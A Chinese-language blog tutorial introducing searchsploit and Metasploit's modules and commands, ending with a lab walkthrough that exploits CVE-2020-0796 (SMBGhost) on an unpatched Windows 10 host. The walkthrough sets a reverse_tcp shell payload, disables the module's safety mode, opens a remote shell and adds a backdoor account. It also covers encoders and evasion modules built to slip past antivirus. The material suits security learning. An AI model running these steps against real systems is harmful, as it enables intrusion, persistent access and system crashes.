网络安全学习之Metasploit框架及基本使用

Metasploit框架及使用

searchsploit 介绍

searchsploit 是一个用于 Exploit-db 的命令行搜索工具,可以帮助我们查找渗透模块。
1.访问gitlab下载代码
https://gitlab.com/exploit-database/exploitdb
或者使用git clone代码到当前目录:
git clone https://gitlab.com/exploit-database/exploitdb.git /usr/share/exploitdb

┌──(root㉿kali)-[/data]
└─# searchsploit --help           
  Usage: searchsploit [options] term1 [term2] ... [termN]

==========
 Examples 
==========
  searchsploit afd windows local
  searchsploit -t oracle windows
  searchsploit -p 39446
  searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"
  searchsploit -s Apache Struts 2.0.0
  searchsploit linux reverse password
  searchsploit -j 55555 | json_pp

  For more examples, see the manual: https://www.exploit-db.com/searchsploit

=========
 Options 
=========
## Search Terms
   -c, --case     [Term]      执行区分大小写的搜索,默认是大小写不敏感(Perform a case-sensitive search (Default is inSEnsITiVe))
   -e, --exact    [Term]      Perform an EXACT & order match on exploit title (Default is an AND match on each term) [Implies "-t"]
                                e.g. "WordPress 4.1" would not be detect "WordPress Core 4.1")
   -s, --strict               Perform a strict search, so input values must exist, disabling fuzzy search for version range
                                e.g. "1.1" would not be detected in "1.0 < 1.3")
   -t, --title    [Term]      Search JUST the exploit title (Default is title AND the file's path)
       --exclude="term"       Remove values from results. By using "|" to separate, you can chain multiple values
                                e.g. --exclude="term1|term2|term3"

## Output
   -j, --json     [Term]      使用json格式展示结果
   -o, --overflow [Term]      Exploit标题被允许溢出其列(Exploit titles are allowed to overflow their columns)
   -p, --path     [EDB-ID]    显示漏洞利用的完整路径(Show the full path to an exploit (and also copies the path to the clipboard if possible))
   -v, --verbose              Display more information in output
   -w, --www      [Term]      Show URLs to Exploit-DB.com rather than the local path
       --id                   Display the EDB-ID value rather than local path
       --colour               Disable colour highlighting in search results

## Non-Searching
   -m, --mirror   [EDB-ID]    Mirror (aka copies) an exploit to the current working directory
   -x, --examine  [EDB-ID]    Examine (aka opens) the exploit using $PAGER

## Non-Searching
   -h, --help                 Show this help screen
   -u, --update               Check for and install any exploitdb package updates (brew, deb & git)

## Automation
       --nmap     [file.xml]  Checks all results in Nmap's XML output with service version
                                e.g.: nmap [host] -sV -oX file.xml

Metasploit功能及介绍

Metasploit是一款开源的安全漏洞检测工具
MSF官网:https://www.metasploit.com/
MSF 文档地址:https://docs.metasploit.com/
Metasploit 有两个版本,Metasploit Framework 是免费版本,Metasploit Pro 是收费版本,但是可以试用30天。

Metasploit 中的一些概念

基础库: metasploit基础库文件,位于源码根目录路径下的libraries目录中,包括 Rex,framework-core和framework-base三部分。
① Rex是整个框架所依赖的最基础的一些组件,如包装的网络套接字、网络应用协议客户端与服务端实现、日志子系统、渗透攻击支持例程、PostgreSQL 以及MySQL数据库支持等;
② framework-core库负责实现所有与各种类型的上层模块及插件的交互接口;
③ framework-base库扩展了framework-core,提供更加简单的包装例程,并为处理框架各个方面的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块;

模块: 模块组织按照不同的用途分为6种类型的模块(Modules): 分为辅助模块(Aux)、 渗透攻击模块(Exploits). 后渗透攻击模块(Post)、 攻击载荷模块(payloads).编码器模块(Encoders)、 空指令模块(Nops)。
注: payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以
进行程序注入等。

插件: 插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具, 如Nessus、 OpenVAS 漏洞扫描器等,为用户接口提供- -些新的功能。

接口: 包括msfconsole控制终端、msfcli 命令行、msfgui 图形化界面、armitage 图形化界面以及msfapi远程调用接口。

功能程序: metasploit 还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快速地利用metasploit框架内部能力完成-些特定任务。比如msfpayload、msfencode 和 msfvenom可以将攻击载荷封装为可执行文件、C 语言、JavaScript 语言等多种形式,并可以进行各种类型的编码。

每一个漏洞利用模块基于它们对目标系统的潜在影响都被标记了一个Rank字段。用户可以基于Rank对漏洞利用模块进行搜索,分类以及排序。
Rank按照可靠性降序排列:

excellent漏洞利用程序绝对不会使目标服务崩溃, 就像SQL注入、命令执行、远程文件包含、本地文件包含等。除非有特殊情况,典型的内存破坏利用程序不可以被评估为该级别。

great 该漏洞利用程序有一 个默认的目标系统,并且可以自动检测适当的目标系统,或者在目标服务的版本检查之后可以返回到一个特定的返回地址。

good该漏洞利用程序有一个默认目标系统,并且是这种类型软件的“常见情况”(桌面应用程序的Windows 7,服务器的2012等)

normal 该漏洞利用程序是可靠的,但是依赖于特定的版本,并且不能或者不能可靠地自动检测。

average该漏洞利用程序不可靠或者难以利用。

low 对于通用的平台而言,该漏洞利用程序几乎不能利用(或者低于50%的利用成功率)

manual 该漏洞利用程序不稳定或者难以利用并且基于拒绝服务 (DOS)。 如果一个模块只有在用户特别配置该模块的时候才会被用到,否则该模块不会被使用到,那么也可以评为该等级。

Metasploit 的使用

Metasploit安装

kali系统上自带 Metasploit Framework ,无需另外安装。
其他系统安装 Metasploit 参照文档: Nightly Installers | Metasploit Documentation Penetration Testing Software, Pen Testing Security
metasploit 依赖于 postgresql 数据库,所以metasploit启动前需要先启动postgresql 数据库

msfupdate ## msf 更新命令 
msfconsole ## 启动msf 
db_connect postgres:postgres@127.0.0.1/test ## 连接数据库 
db_status ## 查看数据库状态

Metasploit启动方式

点击图标开启

image.png

命令行开启

msfconsole ——> 不会启动postgresql数据库,需要先手动启动数据库 (systemcl start postgresql
msfdb run ——> 快捷命令,会同时开启 postgresql 数据库及 metasploit 服务
image.png
启动后,会显示,msf的一些信息,当前系统中msf的版本号,各模块的统计信息等

      =[ metasploit v6.2.9-dev                           ]
+ -- --=[ 2230 exploits - 1177 auxiliary - 398 post       ]
+ -- --=[ 867 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Msfconsole 命令行

进入到 msf控制台后,执行help命令可以看到msf中可以使用的命令,主要包含以下几大类:

Core Commands                #核心命令
Module Commands              #模块命令
Job Commands                 #后台任务命令
Resource Script Commands     #资源脚本命令
Database Backend Commands    #数据库后端命令
Credentials Backend Commands    #证书/凭证后端命令
Developer Commands          #开发人员命令

Metasploit文件结构与模块

文件结构

文件路径:/usr/share/metasploit-framework
目录结构:

config:MSF 的配置文件,
data:后渗透模块的一些工具及
payload,第三方小工具集合,用户字典等数据信息 
documentation: 用户说明文档及开发文档 
lib:基础类和第三方模块类
modules:MSF系统工具模块 
plugins:第三方插件接口 
scripts:MSF的常用后渗透模块,区别于data里的后渗透模块,不需要加post参数和绝对路径,可以直接运行 
tools:额外的小工具和第三方脚本工具 
external: MSF的一些基础扩展模块 
msfconsole: MSF基本命令行,集成了各种功能 
msfd: MSF服务,非持久性服务 
msfdb: MSF数据库 
msfupdate: MSF更新模块,可以用来更新MSF模块 
msfrpc: MSF的服务端,非持久性的rpc服务
msfrpcd:持久性的MSF本地服务,可以给远程用户提供rpc服务以及其他的http服务,可以通过xml进行数据传输。

功能模块

MSF 分为7大模块,文件路径为 /usr/share/metasploit-framework/modules

exploits(渗透攻击/漏洞利用模块)

渗透攻击模块是利用发现的安全漏洞或配置弱点对远程目标进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问的代码组件。 流行的渗透攻击技术包括缓冲区溢出、Web应用程序漏洞攻击、用户配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序, 以及用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。 渗透攻击模块是Metasploit框架中最核心的功能组件。

payloads(攻击载荷模块)

攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码。 攻击载荷模块从最简单的添加用户账号、提供命令行Shell,到基于图形化的VNC界面控制,以及最复杂、具有大量后渗透攻击阶段功能特性的Meterpreter, 这使得渗透攻击者可以在选定渗透攻击代码之后,从很多适用的攻击载荷中选取他所中意的模块进行灵活地组装,在渗透攻击后获得他所选择的控制会话类型, 这种模块化设计与灵活的组装模式也为渗透攻击者提供了极大的便利。

auxiliary(辅助模块)

该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。

nops(空指令模块)

空指令(NOP)是一些对程序运行状态不会造成任何实质性影响的空操作或无关操作指令。最典型的空指令就是空操作,在x86 CPU体系架构平台上的操作码 是 0x90 。在渗透攻击构造邪恶数据缓冲区时,常常要在真正执行的Shellcode之前添加一段空指令区。这样,当触发渗透攻击后跳转执行Shellcode时, 就会有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的Shellcode执行失败。 Matasploit框架中的空指令模块就是用来在攻击载荷中添加空指令区,以提高攻击可靠性的组件。

encoders(编译器模块)

编码器模块通过对攻击载荷进行各种不同形式的编码,完成两大任务: 一是确保攻击载荷中不会出现渗透攻击过程中应加以避免的"坏字符”; 二是对攻击载荷进行“免杀”处理,即逃避反病毒软件、IDS/IPS的检测与阻断。

post(后渗透攻击模块)

后渗透攻击模块主要用于在渗透攻击取得目标系统远程控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步横向拓展、 实施跳板攻击等。

evasion(规避模块)

规避模块(免杀):主要用于规避Windows Defender防火墙、Windows应用程序控制策略(applocker)等的检查。

Metasploit常用命令

connect

connect 命令用于远程连接主机 ,常用于内网穿透场景中,最常用的命令如: connect 192.168.0.107 80
image.png

show

用于列出各个模块中的内容 ,show all 列出所有模块的额内容。
image.pngshow nops : 列出 nops模块下所有的内容。
image.png

search

用于搜索 msf 中的各种漏洞、插件。 是最常用的命令之一

msf6 > search --help
-h, --help                      Help banner
-I, --ignore                    Ignore the command if the only match has the same name as the search
-o, --output <filename>         将输出内容写入csv格式的文件中
-r, --sort-descending <column>  降序排列查找到的结果
-S, --filter <filter>           Regex pattern used to filter search results
-s, --sort-ascending <column>   Sort search results by the specified column in ascending order
-u, --use                       Use module if there is one result

Keywords:
aka              :  Modules with a matching AKA (also-known-as) name
author           :  Modules written by this author
arch             :  Modules affecting this architecture
bid              :  Modules with a matching Bugtraq ID
cve              :  Modules with a matching CVE ID
edb              :  Modules with a matching Exploit-DB ID
check            :  Modules that support the 'check' method
date             :  Modules with a matching disclosure date
description      :  Modules with a matching description
fullname         :  Modules with a matching full name
mod_time         :  Modules with a matching modification date
name             :  Modules with a matching descriptive name
path             :  Modules with a matching path
platform         :  Modules affecting this platform
port             :  Modules with a matching port
rank             :  Modules with a matching rank (Can be descriptive (ex: 'good') or numeric with comparison operators (ex: 'gte400'))
ref              :  Modules with a matching ref
reference        :  Modules with a matching reference
target           :  Modules affecting this target
type             :  Modules of a specific type (exploit, payload, auxiliary, encoder, evasion, post, or nop)

Supported search columns:
rank             :  Sort modules by their exploitabilty rank
date             :  Sort modules by their disclosure date. Alias for disclosure_date
disclosure_date  :  Sort modules by their disclosure date
name             :  Sort modules by their name
type             :  Sort modules by their type
check            :  Sort modules by whether or not they have a check method

例1 : 利用名字搜索漏洞 ,名字描述越详细,搜索到的结果越精确。
image.png
例2: 利用路径查找 ,通过 path 命令,可以查找到位于该路径下的所有模块,
image.png
metasploit 支持模糊查询,不区分大小写
例3:缩小查找范围,范围越精细,查找到的结果越准确
image.png
例4:通过cve查找exploit
image.png

use

use 使用某个模块,用法: user + 模块名称
image.png

info

显示模块相关信息
info + 模块名称 或者 use 装载模块之后,执行info查看模块信息
在弹出的info信息中,需要重点关注:
Available targets : 可用目标,即可以攻击的操作系统。
Basic options : 基本参数配置,即调用漏洞所需要配置的参数
Description : 漏洞描述和执行过程
References :有关该漏洞的参考文档

使用show命令同样也可以查看模块的相关信息,如:
查看模块配置信息: show options

 msf6 exploit(windows/smb/cve_2020_0796_smbghost) > show options

Module options (exploit/windows/smb/cve_2020_0796_smbghost):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT   445              yes       The target port (TCP)


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.0.188    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 10 v1903-1909 x64

查看模块适用目标: show targets

msf6 exploit(windows/smb/cve_2020_0796_smbghost) >  show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows 10 v1903-1909 x64

Metasploit实战1 - 复现win10永恒之黑漏洞

永恒之黑漏洞介绍

永恒之黑漏洞与“永恒之蓝”漏洞极为相似,都是利用 “Windows SMB服务” 漏洞远程攻击获取系统最高权限。

漏洞复现

前提:
win10 版本 1903 ,且未安装过漏洞补丁。

复现过程
  1. 查看系统版本
    image.png
    2. 查看系统信息
    cmd 窗口中输入 systeminfo 查看系统统计信息。 永恒之黑的漏洞补丁编号为: KB4551762 ,修补程序里没有证明没有打过补丁。
    image.png
    3. 关闭win10主机防火墙
    设置 --> 网络和Internet --> 以太网 --> windows防火墙
    image.png
    image.png
    4. 开启网络发现和 文件共享(使用445端口)
    设置 --> 网络和Internet --> 以太网 -->更改高级共享设置
    image.png
    image.png
    5. kali 上测试 win10 机器是否开启445 端口
    image.png
    image.png
    开始复现漏洞
    模块的整体使用流程
    图片1.png
  • msf中查找永恒之黑漏洞的exp : search cve-2020-0796

image.png

  • 使用use 命令加载模块,可以直接用id 或者用名字 exploit/windows/smb/cve_2020_0796_smbghost 加载完后,使用show options 查看配置信息。

image.png

  • 设置目标机信息

set RHOSTS 192.168.0.107
image.png

PS:payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回 shell,也可以进行程序注入等。
由于该模块默认只有一个payload,可以不需要单独设置payload,如果不想用默认的payload,也可以设置成别的payload。

search windows/x64/shell type:payloadimage.png

找到以后,使用如下命令加载payload:

set payload windows/x64/shell/reverse_tcpimage.png

执行 set DefangedMode false 关闭DefangedMode,否则直接执行exploit会报错。image.png

执行 exploit 或者run命令开始运行模块image.png

遇到如上红框内报错,说明metaspolit中 永恒之黑这个模块少文件,到github上下载一份放到目录下即可, 然后解压放到 /usr/share/metasploit-framework/ 对应的目录下即可

┌──(root㉿kali)-[/data] 
└─# unzip external.zip -d /usr/share/metasploit-framework/

这个win10版本比较坑,容易蓝屏或者死机,可以多试几次。

问题记录: 这次成功之前,是关闭了kali上docker服务,并且清理了iptables 后,才成功了 。image.png
使用 CMD 命令创建用户

C:\Windows\system32>net user admin admin /add

显示乱码但是已经添加成功

拓展:解决乱码问题(乱码是因为 windows 和 linux 的编码不一样导致的)执行如下指令
C:\Windows\system32>chcp 65001
image.png
查看用户
C:\Windows\system32>net user
image.png
可以通过执行 ”background“ 命令将当前会话放到后台,执行 “sessions” 命令查看存在的会话, “sessions -i id” 应用会话。
image.png
exploit -j: 通过会话连接目标机时,后台运行渗透目标完成后,自动创建一个session

msf6 exploit(windows/smb/cve_2020_0796_smbghost) > exploit -j
image.png
使用 session -k id 关闭session
图片2.png

总结metasploit 攻击的过程:

  1. 查找 CVE 公布的漏洞
  2. 查找对应的 exploit 模块
  3. 配置模块参数
  4. 添加 payload 后门
  5. 执行 exploit 开始攻击

MSF 命令扩展

在msf 控制台中,输入help命令查看帮助信息

msf6 > help
核心命令
=============
? 帮助菜单
banner    显示一个 metasploit 横幅
cd       更改当前的工作目录
color    切换颜色
connect    连接与主机通信
exit    退出控制台
get     获取特定于上下文的变量的值
getg    获取全局变量的值
grep    grep 另一个命令的输出 如: grep creds help
help     帮助菜单
history    显示命令历史
irb     进入 irb 脚本模式
load    加载一个框架插件
quit    退出控制台
route    通过会话路由流量
save        保存活动的数据存储
sessions     转储会话列表并显示有关会话的信息
set     将特定于上下文的变量设置为一个值
setg      将全局变量设置为一个值
sleep     在指定的秒数内不做任何事情
spool      将控制台输出写入文件以及屏幕
threads      线程查看和操作后台线程
unload       卸载框架插件
unset       取消设置一个或多个特定于上下文的变量
unsetg     取消设置一个或多个全局变量
version     显示框架和控制台库版本号

模块命令
===============
advanced   显示一个或多个模块的高级选项
back     从当前上下文返回
edit      使用首选编辑器编辑当前模块
info      显示有关一个或多个模块的信息
loadpath      路径从路径搜索并加载模块
options      显示全局选项或一个或多个模块
popm       将最新的模块从堆栈中弹出并使其处于活动状态
previous      将之前加载的模块设置为当前模块
pushm      将活动或模块列表推入模块堆栈
reload_all      从所有定义的模块路径重新加载所有模块
search      搜索模块名称和描述
show      显示给定类型的模块或所有模块
use     按名称选择模块

工作命令
============
handler      作为作业启动负载处理程序
jobs       显示和管理作业
kill     杀死一个工作
rename_job     重命名作业

资源脚本命令
========================
makerc      保存从开始到文件输入的命令
resource     运行存储在文件中的命令

数据库后端命令
=========================
db_connect     连接到现有的数据库
db_disconnect    断开与当前数据库实例的连接
db_export     导出包含数据库内容的文件
db_import    导入扫描结果文件(文件类型将被自动检测)
db_nmap      执行 nmap 并自动记录输出
db_rebuild_cache     重建数据库存储的模块高速缓存
db_status       显示当前的数据库状态
hosts       列出数据库中的所有主机
loot       列出数据库中的所有战利品
notes      列出数据库中的所有笔记
services      列出数据库中的所有服务
vulns      列出数据库中的所有漏洞
workspace     在数据库工作区之间切换

凭证后端命令
============================
creds 列出数据库中的所有凭据
  • 18
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Aurevoirs

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值